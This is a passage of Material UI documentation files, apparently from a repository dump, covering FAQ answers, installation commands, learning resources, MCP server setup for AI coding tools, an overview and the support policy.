bit.\n\n## Why are the colors I am seeing different from what I see here?\n\nThe documentation site is using a custom theme. Hence, the color palette is\ndifferent from the default theme that Material UI ships. Please refer to [this\npage](/material-ui/customization/theming/) to learn about theme customization.\n\n## Why does component X require a DOM node in a prop instead of a ref object?\n\nComponents like the [Portal](/material-ui/api/portal/#props) or [Popper](/material-ui/api/popper/#props) require a DOM node in the `container` or `anchorEl` prop respectively.\nIt seems convenient to simply pass a ref object in those props and let Material UI access the current value.\n\nThis works in a simple scenario:\n\n```jsx\nfunction App() {\n  const container = React.useRef(null);\n\n  return (\n    <div className=\"App\">\n      <Portal container={container}>\n        <span>portaled children</span>\n      </Portal>\n      <div ref={container} />\n    </div>\n  );\n}\n```\n\nwhere `Portal` would only mount the children into the container when `container.current` is available.\nHere is a naive implementation of Portal:\n\n```jsx\nfunction Portal({ children, container }) {\n  const [node, setNode] = React.useState(null);\n\n  React.useEffect(() => {\n    setNode(container.current);\n  }, [container]);\n\n  if (node === null) {\n    return null;\n  }\n  return ReactDOM.createPortal(children, node);\n}\n```\n\nWith this simple heuristic `Portal` might re-render after it mounts because refs are up-to-date before any effects run.\nHowever, just because a ref is up-to-date doesn't mean it points to a defined instance.\nIf the ref is attached to a ref forwarding component it is not clear when the DOM node will be available.\nIn the example above, the `Portal` would run an effect once, but might not re-render because `ref.current` is still `null`.\nThis is especially apparent for React.lazy components in Suspense.\nThe above implementation could also not account for a change in the DOM node.\n\nThis is why a prop is required to the actual DOM node so that React can take care of determining when the `Portal` should re-render:\n\n```jsx\nfunction App() {\n  const [container, setContainer] = React.useState(null);\n  const handleRef = React.useCallback(\n    (instance) => setContainer(instance),\n    [setContainer],\n  );\n\n  return (\n    <div className=\"App\">\n      <Portal container={container}>\n        <span>Portaled</span>\n      </Portal>\n      <div ref={handleRef} />\n    </div>\n  );\n}\n```\n\n## What's the clsx dependency for?\n\n[clsx](https://github.com/lukeed/clsx) is a tiny utility for constructing `className` strings conditionally, out of an object with keys being the class strings, and values being booleans.\n\nInstead of writing:\n\n```jsx\n// let disabled = false, selected = true;\n\nreturn (\n  <div\n    className={`MuiButton-root ${disabled ? 'Mui-disabled' : ''} ${\n      selected ? 'Mui-selected' : ''\n    }`}\n  />\n);\n```\n\nyou can do:\n\n```jsx\nimport clsx from 'clsx';\n\nreturn (\n  <div\n    className={clsx('MuiButton-root', {\n      'Mui-disabled': disabled,\n      'Mui-selected': selected,\n    })}\n  />\n);\n```\n\n## I cannot use components as selectors in the styled() utility. What should I do?\n\nIf you are getting the error: `TypeError: Cannot convert a Symbol value to a string`, take a look at the [styled()](/system/styled/#how-to-use-components-selector-api) docs page for instructions on how you can fix this.\n\n## How can I contribute to the free templates?\n\nThe templates are built using a [shared theme](https://github.com/mui/material-ui/tree/v6.0.2/docs/data/material/getting-started/templates/shared-theme). Below are the structure to create a new template:\n\n### Template page\n\nCreate a new page in the `docs/pages/material-ui/getting-started/templates/<name>.js` directory with the following code:\n\n```js\nimport * as React from 'react';\nimport AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport Template from 'docs/data/material/getting-started/templates/<name>/<Template>';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <Template />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n```\n\nThen create a template file at `docs/data/material/getting-started/templates/<name>/<Template>.tsx` (add more files if needed):\n\n> Note: The `<Template>` must be a pascal case string of the `<name>` folder.\n\n### Shared theme\n\nThe template must use `AppTheme` from `../shared-theme/AppTheme` to ensure a consistent look and feel across all templates.\n\nIf the template includes custom-themed components, such as the dashboard template with MUI X themed components, pass them to the `AppTheme`'s `themedComponents` prop:\n\n```js\nimport AppTheme from '../shared-theme/AppTheme';\n\nconst xThemeComponents = {\n  ...chartsCustomizations,\n  ...dataGridCustomizations,\n  ...datePickersCustomizations,\n  ...treeViewCustomizations,\n};\n\nexport default function Dashboard(props: { disableCustomTheme?: boolean }) {\n  return (\n    <AppTheme {...props} themeComponents={xThemeComponents}>...</AppTheme>\n  )\n}\n```\n\n### Color mode toggle\n\nThe shared theme provides 2 appearance of the color mode toggle, `ColorModeSelect` and `ColorModeIconDropdown`.\nYou can use either of them in your template, it will be hidden within the `TemplateFrame` but will be visible in the CodeSandbox and StackBlitz.\n\n### Template frame\n\nIf the template has a sidebar or a header that needs to stick to the top, refer to the CSS variable `--template-frame-height` to adjust.\n\nFor example, the dashboard template has a fixed header that needs to be accounted for the template frame height:\n\n```js\n<AppBar\n  position=\"fixed\"\n  sx={{\n    top: 'var(--template-frame-height, 0px)',\n    // ...other styles\n  }}\n>\n```\n\nThis will make the `AppBar` stay below the `TemplateFrame` in a preview mode but stick to the top in the CodeSandbox and StackBlitz.\n\n## [legacy] I have several instances of styles on the page\n\nIf you are seeing a warning message in the console like the one below, you probably have several instances of `@mui/styles` initialized on the page.\n\n:::warning\nIt looks like there are several instances of `@mui/styles` initialized in this application.\nThis may cause theme propagation issues, broken class names, specificity issues, and make your application bigger without a good reason.\n:::\n\n### Possible reasons\n\nThere are several common reasons for this to happen:\n\n- You have another `@mui/styles` library somewhere in your dependencies.\n- You have a monorepo structure for your project (for example, lerna or yarn workspaces) and `@mui/styles` module is a dependency in more than one package (this one is more or less the same as the previous one).\n- You have several applications that are using `@mui/styles` running on the same page (for example, several entry points in webpack are loaded on the same page).\n\n### Duplicated module in node_modules\n\nIf you think that the issue may be in the duplication of the @mui/styles module somewhere in your dependencies, there are several ways to check this.\nYou can use `npm ls @mui/styles`, `yarn list @mui/styles` or `find -L ./node_modules | grep /@mui/styles/package.json` commands in your application folder.\n\nIf none of these commands identified the duplication, try analyzing your bundle for multiple instances of @mui/styles. You can just check your bundle source, or use a tool like [source-map-explorer](https://github.com/danvk/source-map-explorer) or [webpack-bundle-analyzer](https://github.com/webpack/webpack-bundle-analyzer).\n\nIf you identified that duplication is the issue that you are encountering there are several things you can try to solve it:\n\nIf you are using npm you can try running `npm dedupe`.\nThis command searches the local dependencies and tries to simplify the structure by moving common dependencies further up the tree.\n\nIf you are using webpack, you can change the way it will [resolve](https://webpack.js.org/configuration/resolve/#resolve-modules) the @mui/styles module. You can overwrite the default order in which webpack will look for your dependencies and make your application node_modules more prioritized than default node module resolution order:\n\n```diff\n resolve: {\n+  alias: {\n+    '@mui/styles': path.resolve(appFolder, 'node_modules', '@mui/styles'),\n+  },\n },\n```\n\n### Running multiple applications on one page\n\nIf you have several applications running on one page, consider using one @mui/styles module for all of them. If you are using webpack, you can use the [`splitChunks`](https://webpack.js.org/plugins/split-chunks-plugin/) configuration to create a shared [vendor chunk](https://webpack.js.org/plugins/split-chunks-plugin/#split-chunks-example-2) that will contain the @mui/styles module:\n\n```diff\n  module.exports = {\n    entry: {\n      app1: './src/app.1.js',\n      app2: './src/app.2.js',\n    },\n+   optimization: {\n+     splitChunks: {\n+       cacheGroups: {\n+         vendor: {\n+           test: /[\\\\/]node_modules[\\\\/]@mui[\\\\/]styles[\\\\/]/,\n+           name: 'vendor',\n+           chunks: 'all',\n+         },\n+       },\n+     },\n+   },\n  }\n```\n\n## [legacy] Why aren't my components rendering correctly in production builds?\n\nThe #1 reason this happens is likely due to class name conflicts once your code is in a production bundle.\nFor Material UI to work, the `className` values of all components on a page must be generated by a single instance of the [class name generator](https://v6.mui.com/system/styles/advanced/#class-names).\n\nTo correct this issue, all components on the page need to be initialized such that there is only ever **one class name generator** among them.\n\nYou could end up accidentally using two class name generators in a variety of scenarios:\n\n- You accidentally **bundle** two versions of `@mui/styles`. You might have a dependency not correctly setting Material UI as a peer dependency.\n- You are using `StylesProvider` for a **subset** of your React tree.\n- You are using a bundler and it is splitting code in a way that causes multiple class name generator instances to be created.\n\n:::success\nIf you are using webpack with the [SplitChunksPlugin](https://webpack.js.org/plugins/split-chunks-plugin/), try configuring the [`runtimeChunk` setting under `optimizations`](https://webpack.js.org/configuration/optimization/#optimization-runtimechunk).\n:::\n\nOverall, it's simple to recover from this problem by wrapping each Material UI application with [`StylesProvider`](https://v6.mui.com/system/styles/api/#stylesprovider) components at the top of their component trees **and using a single class name generator shared among them**.\n\n### [legacy] CSS works only on first load and goes missing\n\nThe CSS is only generated on the first load of the page.\nThen, the CSS is missing on the server for consecutive requests.\n\n#### Action to Take\n\nThe styling solution relies on a cache, the _sheets manager_, to only inject the CSS once per component type\n(if you use two buttons, you only need the CSS of the button one time).\nYou need to create **a new `sheets` instance for each request**.\n\nExample of fix:\n\n```diff\n-// Create a sheets instance.\n-const sheets = new ServerStyleSheets();\n\n function handleRender(req, res) {\n+  // Create a sheets instance.\n+  const sheets = new ServerStyleSheets();\n\n   //…\n\n   // Render the component to a string.\n   const html = ReactDOMServer.renderToString(\n```\n\n### [legacy] React class name hydration mismatch\n\n:::warning\nProp className did not match.\n:::\n\nThere is a class name mismatch between the client and the server. It might work for the first request.\nAnother symptom is that the styling changes between initial page load and the downloading of the client scripts.\n\n#### Action to Take\n\nThe class names value relies on the concept of [class name generator](https://v6.mui.com/system/styles/advanced/#class-names).\nThe whole page needs to be rendered with **a single generator**.\nThis generator needs to behave identically on the server and on the client. For instance:\n\n- You need to provide a new class name generator for each request.\n  But you shouldn't share a `createGenerateClassName()` between different requests:\n\n  Example of fix:\n\n  ```diff\n  -// Create a new class name generator.\n  -const generateClassName = createGenerateClassName();\n\n   function handleRender(req, res) {\n  +  // Create a new class name generator.\n  +  const generateClassName = createGenerateClassName();\n\n     //…\n\n     // Render the component to a string.\n     const html = ReactDOMServer.renderToString(\n  ```\n\n- You need to verify that your client and server are running the **exactly the same version** of Material UI.\n  It is possible that a mismatch of even minor versions can cause styling problems.\n  To check version numbers, run `npm list @mui/styles` in the environment where you build your application and also in your deployment environment.\n\n  You can also ensure the same version in different environments by specifying a specific Material UI version in the dependencies of your package.json.\n\n  _example of fix (package.json):_\n\n  ```diff\n    \"dependencies\": {\n      ...\n  -   \"@mui/styles\": \"^5.0.0\",\n  +   \"@mui/styles\": \"5.0.0\",\n      ...\n    },\n  ```\n\n- You need to make sure that the server and the client share the same `process.env.NODE_ENV` value.\n"
  },
  {
    "path": "docs/data/material/getting-started/installation/installation.md",
    "content": "# Installation\n\n<p class=\"description\">Install Material UI, the world's most popular React UI framework.</p>\n\n## Default installation\n\nRun one of the following commands to add Material UI to your project:\n\n<!-- #npm-tag-reference -->\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/material@next @emotion/react @emotion/styled\n```\n\n```bash pnpm\npnpm add @mui/material@next @emotion/react @emotion/styled\n```\n\n```bash yarn\nyarn add @mui/material@next @emotion/react @emotion/styled\n```\n\n</codeblock>\n\n### Peer dependencies\n\n<!-- #react-peer-version -->\n\nPlease note that [react](https://www.npmjs.com/package/react) and [react-dom](https://www.npmjs.com/package/react-dom) are peer dependencies, meaning you should ensure they are installed before installing Material UI.\n\n```json\n\"peerDependencies\": {\n  \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n  \"react-dom\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n},\n```\n\n### React 18 and below\n\nIf you are using React 18 or below, you need to set up a resolution of `react-is` package to the same version as the `react` you are using.\n\nFor example, if you are using `react@18.3.1`, do the following steps:\n\n1. Install `react-is@18.3.1`.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install react-is@18.3.1\n```\n\n```bash pnpm\npnpm add react-is@18.3.1\n```\n\n```bash yarn\nyarn add react-is@18.3.1\n```\n\n</codeblock>\n\n2. Set the resolutions or overrides in the `package.json`.\n\n<codeblock storageKey=\"package-manager\">\n\n```json npm\n{\n  …\n  \"overrides\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n```json pnpm\n{\n  …\n  \"overrides\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n```json yarn\n{\n  …\n  \"resolutions\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n</codeblock>\n\n#### Why is this needed?\n\nMaterial UI uses `react-is@19`, which changed how React elements are identified.\n\nIf you're on React 18 or below, mismatched versions of `react-is` can cause runtime errors in prop type checks.\nForcing `react-is` to match your React version prevents these errors.\n\n## With styled-components\n\nMaterial UI uses [Emotion](https://emotion.sh/docs/introduction) as its default styling engine.\nIf you want to use [styled-components](https://styled-components.com/) instead, run one of the following commands:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/material @mui/styled-engine-sc styled-components\n```\n\n```bash pnpm\npnpm add @mui/material @mui/styled-engine-sc styled-components\n```\n\n```bash yarn\nyarn add @mui/material @mui/styled-engine-sc styled-components\n```\n\n</codeblock>\n\nNext, follow the [styled-components how-to guide](/material-ui/integrations/styled-components/) to properly configure your bundler to support `@mui/styled-engine-sc`.\n\n:::error\nAs of late 2021, [styled-components](https://github.com/styled-components/styled-components) is **not compatible** with server-rendered Material UI projects.\nThis is because `babel-plugin-styled-components` isn't able to work with the `styled()` utility inside `@mui` packages.\nSee [this GitHub issue](https://github.com/mui/material-ui/issues/29742) for more details.\n\nWe **strongly recommend** using Emotion for SSR projects.\n:::\n\n## Roboto font\n\nMaterial UI uses the [Roboto](https://fonts.google.com/specimen/Roboto) font by default.\nAdd it to your project via Fontsource, or with the Google Fonts CDN.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @fontsource/roboto\n```\n\n```bash pnpm\npnpm add @fontsource/roboto\n```\n\n```bash yarn\nyarn add @fontsource/roboto\n```\n\n</codeblock>\n\nThen you can import it in your entry point like this:\n\n```tsx\nimport '@fontsource/roboto/300.css';\nimport '@fontsource/roboto/400.css';\nimport '@fontsource/roboto/500.css';\nimport '@fontsource/roboto/700.css';\n```\n\n:::info\nFontsource can be configured to load specific subsets, weights and styles. Material UI's default typography configuration relies only on the 300, 400, 500, and 700 font weights.\n:::\n\n### Google Web Fonts\n\nTo install Roboto through the Google Web Fonts CDN, add the following code inside your project's `<head />` tag:\n\n```html\n<link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n<link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n<link\n  rel=\"stylesheet\"\n  href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n/>\n```\n\n## Icons\n\nTo use the [font Icon component](/material-ui/icons/#icon-font-icons) or the prebuilt SVG Material Icons (such as those found in the [icon demos](/material-ui/icons/)), you must first install the [Material Icons](https://fonts.google.com/icons?icon.set=Material+Icons) font.\nYou can do so with npm, or with the Google Web Fonts CDN.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/icons-material\n```\n\n```bash pnpm\npnpm add @mui/icons-material\n```\n\n```bash yarn\nyarn add @mui/icons-material\n```\n\n</codeblock>\n\n### Google Web Fonts\n\nTo install the Material Icons font in your project using the Google Web Fonts CDN, add the following code snippet inside your project's `<head />` tag:\n\nTo use the font `Icon` component, you must first add the [Material Icons](https://fonts.google.com/icons?icon.set=Material+Icons) font.\nHere are [some instructions](/material-ui/icons/#icon-font-icons)\non how to do so.\nFor instance, via Google Web Fonts:\n\n```html\n<link\n  rel=\"stylesheet\"\n  href=\"https://fonts.googleapis.com/icon?family=Material+Icons\"\n/>\n```\n\n## CDN\n\nYou can start using Material UI right away with minimal front-end infrastructure by installing it via CDN, which is a great option for rapid prototyping.\n\n<!-- #target-branch-reference -->\n\nFollow [this CDN example](https://github.com/mui/material-ui/tree/master/examples/material-ui-via-cdn) to get started.\n\n:::error\nWe do _not_ recommend using this approach in production.\nIt requires the client to download the entire library—regardless of which components are actually used—which negatively impacts performance and bandwidth utilization.\n:::\n"
  },
  {
    "path": "docs/data/material/getting-started/learn/learn.md",
    "content": "# Learning resources\n\n<p class=\"description\">New to Material UI? Get up to speed quickly with our curated list of learning resources.</p>\n\n## Your first component\n\nThe following demo shows a basic Material UI app that features a `<Button>` component.\nTry changing the `variant` on the [Button](/material-ui/react-button/) to `outlined` to see how the style changes:\n\n{{\"demo\": \"../usage/ButtonUsage.js\", \"defaultCodeOpen\": true}}\n\n## Example projects\n\nVisit the [example projects](/material-ui/getting-started/example-projects/) page to see how we recommend implementing Material UI with various React libraries and frameworks like Next.js, Vite, and more.\n\n## Templates\n\nCheck out our [selection of basic templates](/material-ui/getting-started/templates/) to get started building your next app more quickly.\n\n## Recommended resources\n\nBeyond our official documentation, there are countless members of our community who create fantastic tutorials and guides for working with Material UI.\n\nThe following is a curated list of some of the best third-party resources we've found for learning how to build beautiful apps with our components.\n\n### Free\n\n- **[Material UI v7 Complete Course](https://www.youtube.com/watch?v=XQVcsGbMBCM)** by Code Genix: this comprehensive course covers everything you need to build with the latest version of Material UI.\n\n- **[React + Material UI - From Zero to Hero](https://www.youtube.com/playlist?list=PLDxCaNaYIuUlG5ZqoQzFE27CUOoQvOqnQ)** video series by The Atypical Developer: build along with this in-depth series, from basic installation through advanced component implementation.\n\n- **[Next.js 11 Setup with Material UI v5](https://www.youtube.com/watch?v=IFaFFmPYyMI)** by Leo Roese: learn how to integrate Material UI into your Next.js app, using Emotion as the style engine.\n\n- **[Material UI v5 Crash Course + Intro to React (2022 Edition)](https://www.youtube.com/watch?v=_W3uuxDnySQ)** by Anthony Sistilli: how and why to use Material UI, plus guidance on theming and style customization.\n\n- **[Material UI v5 Tutorial Playlist](https://www.youtube.com/playlist?list=PLlR2O33QQkfXnZMMZC0y22gLayBbB1UQd)** by Nikhil Thadani (Indian Coders): a detailed playlist covering almost every component of Material UI with Create React App.\n\n- **[The Clever Dev](https://www.youtube.com/channel/UCb6AZy0_D1y661PMZck3jOw)** and **[The Smart Devpreneur](https://smartdevpreneur.com/category/javascript/material-ui/)** by Jon M: dozens of high-quality videos and articles digging deep into the nuts and bolts of Material UI.\n"
  },
  {
    "path": "docs/data/material/getting-started/mcp/mcp.md",
    "content": "# Model Context Protocol (MCP) for MUI\n\n<p class=\"description\">Access the official Material UI docs and code examples in your AI client.</p>\n\n## What is MCP?\n\nThe Model Context Protocol (MCP) is an open standard for connecting AI assistants to real, trusted sources of documentation and code.\nFor Material UI users, this means you get answers that are accurate, up-to-date, and directly reference the official docs.\n\nTo learn more about MCP, see the [official documentation](https://modelcontextprotocol.io/docs/getting-started/intro).\n\n## Why use MCP?\n\nPopular AI coding assistants are excellent at providing answers, especially to straightforward questions.\nBut when faced with deeper, more complex questions that require understanding concepts from multiple parts of the documentation, they often hallucinate links, cite non-existent documentation, or provide answers that are hard to verify.\nMCP solves these problems by:\n\n- Quoting real, direct sources in answers\n- Linking to actual documentation—no imaginary links that lead to 404s\n- Using component code from officially published registries\n\n## Installation and setup\n\nThe sections below detail how to set up the Material UI MCP in popular agentic coding environments.\n\n### VS Code, Cursor, Windsurf\n\nOpen the MCP configuration (**Settings** -> **MCP** -> **Add Server**) and add the following:\n\n```json\n\"mcpServers\": {\n  \"mui-mcp\": {\n    \"type\": \"stdio\",\n    \"command\": \"npx\",\n    \"args\": [\"-y\", \"@mui/mcp@latest\"]\n  }\n}\n```\n\nVS Code users must also enable Agent mode (for Copilot Chat) and add the following to `settings.json`:\n\n```json\n  \"chat.mcp.enabled\": true,\n  \"chat.mcp.discovery.enabled\": true\n```\n\n### JetBrains IDEs\n\nOpen the MCP configuration (**Settings** -> **Tools** -> **AI Assistant** -> **Model Context Protocol (MCP)**) and add the following:\n\n- Name: MUI MCP\n- Command: `npx`\n- Arguments: `-y @mui/mcp@latest`\n\nClick **OK** and **Apply**.\n\n### Zed\n\nYou can add the Material UI MCP server to Zed as an extension or as a custom server:\n\n#### As an extension\n\nGo to the Extensions page through the keybinding `cmd-shift-x`/`ctrl-shift-x` (macOS/Linux), or via the Command Palette by searching for `zed: extensions`.\n\nSearch for \"MUI MCP\" and install the extension.\nNo additional configuration is required, but you can optionally add the `preferred_theme` and `component_filter` fields.\n\n#### As a custom server\n\nSearch for `agent: add context server` in the Command Palette and add the following:\n\n```json\n{\n  \"mui-mcp-server\": {\n    \"command\": {\n      \"path\": \"npx\",\n      \"args\": [\"-y\", \"@mui/mcp@latest\"]\n      \"env\": {}\n    }\n  }\n}\n```\n\n### Claude Code\n\nClaude Code is Anthropic's agentic coding tool that runs in your terminal.\n\nYou can add the Material UI MCP server to Claude Code via the command line:\n\n```bash\nclaude mcp add mui-mcp -- npx -y @mui/mcp@latest\n```\n\nBy default, this installs the MCP server to local-scope of the project you are working on.\n\nIf you want the MCP server to always be available to all projects on your machine, you would install it to user-scope:\n\n```bash\nclaude mcp add mui-mcp -s user -- npx -y @mui/mcp@latest\n```\n\nTo better understand MCP server scope hierarchy and precedence in Claude Code, see their [official documentation](https://code.claude.com/docs/en/mcp#mcp-installation-scopes).\n\n## Common issues\n\n### I've installed the MCP but there are errors in connection\n\nTry using the MCP inspector to debug the connection.\nTo do so, run:\n\n```bash\n npx @modelcontextprotocol/inspector\n```\n\nWait for the terminal to print \"🔍 MCP Inspector is up and running at http://127.0.0.1:6274\".\nNavigate to this URL in your browser and set the following parameters:\n\n- **Transport type: Stdio**\n- **Command:**`npx`\n- **Arguments:** `-y @mui/mcp@latest`\n\nClick **Connect** and wait for the connection to be established.\n\nOnce connected, you'll see a list of available tools.\nIf you're not able to connect, check the logs in the terminal where you ran the MCP inspector for more details.\n\n### I've installed the MCP but it's not being used when I ask questions\n\nIf you've installed the MCP and enabled all the necessary settings but it's not being used when you ask questions, you might need to supply rules to your AI client to tell it to use the MCP.\n\nMost editors allow you to specify rules for AI assistants to follow.\nIn VS Code, for instance, you can create a new rule at `.github/instructions/mui.md` and add the following:\n\n```text\n## Use the mui-mcp server to answer any MUI questions --\n\n- 1. call the \"useMuiDocs\" tool to fetch the docs of the package relevant in the question\n- 2. call the \"fetchDocs\" tool to fetch any additional docs if needed using ONLY the URLs present in the returned content.\n- 3. repeat steps 1-2 until you have fetched all relevant docs for the given question\n- 4. use the fetched content to answer the question\n```\n\n:::info\nYou can use this same text as a rule for any other IDE, but the preferred location for rules may differ.\n:::\n\n## Troubleshooting\n\nThe MCP is available as a separate package that runs locally and communicates via your AI client using the `stdio` transport.\nUse the following command to test the MCP in the [MCP inspector](https://modelcontextprotocol.io/docs/tools/inspector):\n\n```bash\nnpx -y @mui/mcp@latest\n```\n"
  },
  {
    "path": "docs/data/material/getting-started/overview/overview.md",
    "content": "---\ntitle: Overview\n---\n\n# Material UI - Overview\n\n<p class=\"description\">Material UI is an open-source React component library that implements Google's Material Design. It's comprehensive and can be used in production out of the box.</p>\n\n## Introduction\n\nMaterial UI is an open-source React component library that implements Google's [Material Design](https://m2.material.io/).\n\nIt includes a comprehensive collection of prebuilt components that are ready for use in production right out of the box and features a suite of customization options that make it easy to implement your own custom design system on top of our components.\n\n:::info\nMaterial UI supports Material Design 2.\nYou can follow [this GitHub issue](https://github.com/mui/material-ui/issues/29345) for future design-related updates.\n:::\n\n## Advantages of Material UI\n\n- **Ship faster:** Over 2,500 open-source [contributors](https://github.com/mui/material-ui/graphs/contributors) have poured countless hours into these components.\n  Focus on your core business logic instead of reinventing the wheel—we've got your UI covered.\n- **Beautiful by default:** We're meticulous about our implementation of [Material Design](https://m2.material.io/), ensuring that every Material UI component meets the highest standards of form and function,\n  but diverge from the official spec where necessary to provide multiple great options.\n- **Customizability:** The library includes an extensive set of intuitive customizability features. [The templates](https://mui.com/store/) in our store demonstrate how far you can go with customization.\n- **Cross-team collaboration:** Material UI's intuitive developer experience reduces the barrier to entry for back-end developers and less technical designers, empowering teams to collaborate more effectively.\n  The [design kits](https://mui.com/design-kits/) streamline your workflow and boost consistency between designers and developers.\n- **Trusted by thousands of organizations:** Material UI has the largest UI community in the React ecosystem.\n  It's almost as old as React itself—its history stretches back to 2014—and we're in this for the long haul.\n  You can count on the community's support for years to come (for example [Stack Overflow](https://trends.stackoverflow.co/?tags=material-ui)).\n\n## Start now\n\nGet started with Material UI today through some of these useful resources:\n\n{{\"component\": \"modules/components/MaterialStartingLinksCollection.js\"}}\n"
  },
  {
    "path": "docs/data/material/getting-started/support/support.md",
    "content": "# Support\n\n<p class=\"description\">Learn how to get support for Material UI components, including feature requests, bug fixes, and technical support from the team.</p>\n\n## GitHub\n\nWe use GitHub issues as a bug and feature request tracker.\n\nIf you think you've found a bug, or you have a new feature idea:\n\n1. Please start by [making sure it hasn't already been reported or fixed](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed).\n   You can search through existing issues and pull requests to see if someone has reported one similar to yours.\n2. Then, if no duplicates exist, [open an issue](https://github.com/mui/material-ui/issues/new/choose) in the Material UI repository.\n\n### New issue guidelines\n\n- Please follow one of the issue templates provided on GitHub.\n- Please begin the title with \"[component-name]\" (if relevant), and use a succinct description that helps others find similar issues.\n  - ❌ _\"It doesn't work\"_\n  - ✅ _\"[button] Add support for {{new feature}}\"_\n- Please don't group multiple topics in one issue.\n- Please don't comment \"+1\" on an issue. It spams the maintainers and doesn't help move the issue forward. Use GitHub reactions instead (👍).\n\n### Bug reproductions\n\nWe require bug reports to be accompanied by a **minimal reproduction**.\nIt significantly increases the odds of fixing the problem.\nYou have a few possible options to provide it:\n\n#### Use the live editors\n\nYou can browse the documentation, find an example close to your use case, and then open it in a live editor:\n\n<a href=\"/material-ui/react-button/#basic-button\">\n<span class=\"only-light-mode\">\n  <img src=\"/static/docs-infra/forking-an-example.png\" alt=\"Forking an example\" loading=\"lazy\" width=\"1628\" height=\"700\" style=\"display: block; max-width: 774px;\">\n</span>\n<span class=\"only-dark-mode\">\n  <img src=\"/static/docs-infra/forking-an-example-dark.png\" alt=\"Forking an example\" loading=\"lazy\" width=\"1628\" height=\"700\" style=\"display: block; max-width: 774px;\">\n</span>\n</a>\n\n#### Use starter templates\n\nYou can use a starter React template to build a reproduction case with [JavaScript](https://stackblitz.com/github/stackblitz/starters/tree/main/react) or [TypeScript](https://stackblitz.com/github/stackblitz/starters/tree/main/react-ts).\n\n## Stack Overflow\n\nWe use Stack Overflow for how-to questions. Answers are crowdsourced from expert developers in the Material UI community as well as Material UI maintainers.\n\nYou can search through existing questions and answers to see if someone has asked a similar question using the [material-ui tags](https://stackoverflow.com/questions/tagged/material-ui):\n\nIf you can't find your answer, [ask a new question](https://stackoverflow.com/questions/ask?tags=reactjs%20material-ui) using the relevant tags.\n\n:::success\nIf you're using an older version of Material UI, you may find answers on SO with links to content that no longer exists in the latest version of the documentation.\nVisit the [Material UI Versions](https://mui.com/versions/) page to find the archived documentation that corresponds to your version.\n:::\n\n## Technical support\n\nWe do _not_ offer paid support for Core libraries like Material UI.\n\nBut you might want to read the [technical support offered](https://mui.com/x/introduction/support/#technical-support) on MUI X components.\n\n## Long-term support (LTS)\n\nBug fixes, performance enhancements, and other improvements are delivered in new releases.\nHowever, we remain committed to providing security updates and addressing regressions for the immediate predecessor of the current major version.\n\nThis includes issues introduced by external sources, like browser upgrades or changes to upstream dependencies.\n\n### Supported versions\n\n| Material UI version | Release    | Supported                                                          |\n| ------------------: | :--------- | :----------------------------------------------------------------- |\n|              ^9.0.0 | March 2026 | 🚧 Pre release (Continuous support)                                |\n|              ^7.0.0 | 2025-03-26 | ✅ Stable major (Continuous support)                               |\n|              ^6.0.0 | 2024-08-26 | ⚠️ Long-term support (Support for security issues and regressions) |\n|              ^5.0.0 | 2021-09-16 | ❌                                                                 |\n|              ^4.0.0 | 2019-06-23 | ❌                                                                 |\n|              ^3.0.0 | 2018-08-27 | ❌                                                                 |\n|              ^2.0.0 | /          | ❌                                                                 |\n|              ^1.0.0 | 2018-06-18 | ❌                                                                 |\n|          &lt;=1.0.0 | 2014-10-05 | ❌                                                                 |\n\n## Community\n\n### Social media\n\nThe Material UI community is active on both [X/Twitter](https://x.com/MaterialUI) and [LinkedIn](https://www.linkedin.com/company/mui/).\nThese are great platforms to share what you're working on and connect with other developers.\n\n## Custom work\n\nIf your team gets stuck and needs help getting unblocked, Material UI's engineers may be available on a contract basis.\n\nKeep in mind that the work must be directly related to Material UI's products—we don't accept general web development or React work.\n\nOur contracting price starts at $200/hour or $1,500/day.\n\n[Send us an email](mailto:custom-work@mui.com) summarizing your needs, and we'll let you know whether we can help (or else try to suggest alternatives).\n\n## Tidelift subscription\n\nWe and the maintainers of thousands of other packages work with Tidelift to deliver one enterprise subscription that covers all of the open-source you use.\n\nIf you want the flexibility of open-source and the confidence of commercial-grade software, this is worth looking at. The Tidelift Subscription manages your dependencies for you.\n\nThe end result? All of the capabilities you expect from commercial-grade software, for the full breadth of open-source you use.\nThat means less time grappling with esoteric open-source trivia, and more time building your own applications—and your business.\n\n<a\n  data-ga-event-category=\"support\"\n  data-ga-event-action=\"tidelift\"\n  href=\"https://tidelift.com/\">\nLearn more about Tidelift</a>\nand\n<a\n  data-ga-event-category=\"support\"\n  data-ga-event-action=\"tidelift\"\n  href=\"https://www.sonarsource.com/tidelift-request-demo/\">request a demo today</a>.\n"
  },
  {
    "path": "docs/data/material/getting-started/supported-components/MaterialUIComponents.js",
